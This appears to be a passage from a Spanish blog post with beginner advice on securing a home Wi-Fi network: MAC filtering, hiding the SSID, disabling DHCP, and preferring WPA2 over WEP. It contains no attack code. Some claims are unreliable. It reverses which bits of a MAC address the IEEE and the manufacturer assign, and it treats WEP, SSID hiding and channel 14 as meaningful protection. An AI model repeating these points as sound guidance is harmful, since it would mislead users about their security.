En redes de computadoras la dirección MAC (Media Access Control address o dirección de control de acceso al medio) es un identificador hexadecimal de 48 bits que corresponde de forma única a una tarjeta o interfaz de red. Es individual, cada dispositivo tiene su propia dirección MAC determinada y configurada por el IEEE (los últimos 24 bits) y el fabricante (los primeros 24 bits) utilizando el OUI.

La dirección MAC es un número único de 48 bits asignado a cada tarjeta de red. Se conoce también como la dirección física en cuanto identifica dispositivos de red.

Esta acción no es más que disuasoria ante un cracker de pacotilla ya que cualquiera con un poco de conocimiento puede rastrear las MACs que están conectadas a la red y cambiar la suya por una de estas para poder conectarse a la red.

Mas cosas a nivel usuario serían, por ejemplo, desactivar el “broadcasting de SSID”, esto no es más que hacer que el nombre de tu red no esté visible a una busqueda poco exhaustiva (el lema es que si principalmente no eres visible menos ataques vas a tener). Esto lo puedes toquetear en tu router (toquetear la configuración de un router es una acción muy aconsejada para descubrir cosas y comprender un poquito mejor el funcionamiento de una red. Si las fastidias siempre lo puedes resetear).

A nivel también usuario, y siguiendo con la línea de toquetear en el router, se puede desactivar el servidor DHCP, si, este que nos da un ip local de forma totalmente automática para identificar a nuestro ordenador dentro de la red. Con esto lo que conseguimos es que no se le de acceso a peticiones extrañas que se intentan conectar a la red ya que no habrá un servidor que de forma automática les proporcione una ip, teniendo que configurar esta manualmente…

Más cosas, también seguramente tu router te permita la opción de cambiar el rango de ip que por defecto suele ser del estilo 192.168.X.X, aunque esto no merece la pena ni que te molestes en aprender a cambiarlo…

Estas sería más o menos las acciones recomendadas a un nivel usuario principiante/medio. Luego ya se podrían hacer cosas más complicadas y seguras del tipo de un tunel IPSEC o utilizar Radius, o incluso hacer que tu red funcione en canales más extraños como el 14 (que según tengo entendido no está aprobado en la UE, y no son capaces muchas tarjetas ni de rastrearlo, de ahí su eficacia para proteger redes wifi) pero esto ya es de nivel medio/avanzado y palabras mayores para cualquier propietario normal de una red wifi.

Me he leído todo el tocho y no he sacado nada en claro, ¿alguna CONCLUSIÓN?

Resumiendo. Las claves WEP no son buenas amigas. Pero pueden llegar a ser suficiente si no tienes a nadie “tocapelotas” viviendo cerca de ti.

mo_WEP

Decir que existen dos (algunos router disponen de hasta 3) tipos de cifrado WEP, el de 64 y 128 bits (también algunos el de 256), y su máxima diferencia radica en la extensión de la contraseña, que como se dijo atrás, lo único que hace es retrasar el tiempo de ‘crackeo’ pero no por ser más larga es más segura en cuanto a algoritmo se refiere.

Consejos finales:

Si puedes utilizar WPA o WPA2 a por ello, si no, la WEP más larga a la que tengas acceso (y siempre con frases poco predecibles, aunando mayúsculas con minúsculas, números y signos)

Si puedes configurar el filtrado por MAC mejor que mejor.

Ocultar el SSID y desactivar el servidor DHCP (con lo que tendrás que configurar las conexiones a mano)

Cambiar la contraseña periódicamente.

Apagar el router cuando no estés conectado por un periodo prolongado.

Todo lo demás ya exige un conocimiento bastante avanzado en redes. Y te aseguro que con una red protegida por un WPA2 complicada puedes estar tranquilo por un tiempo, aunque todo puede ser violado, nada es infalible.

La segunda parte de esta entrada que era como violar la seguridad de una clave WEP en general, y lo fácil que es descifrar una clave WEP de las redes de Telefónica WLAN_XX la dejo para la siguiente entrada.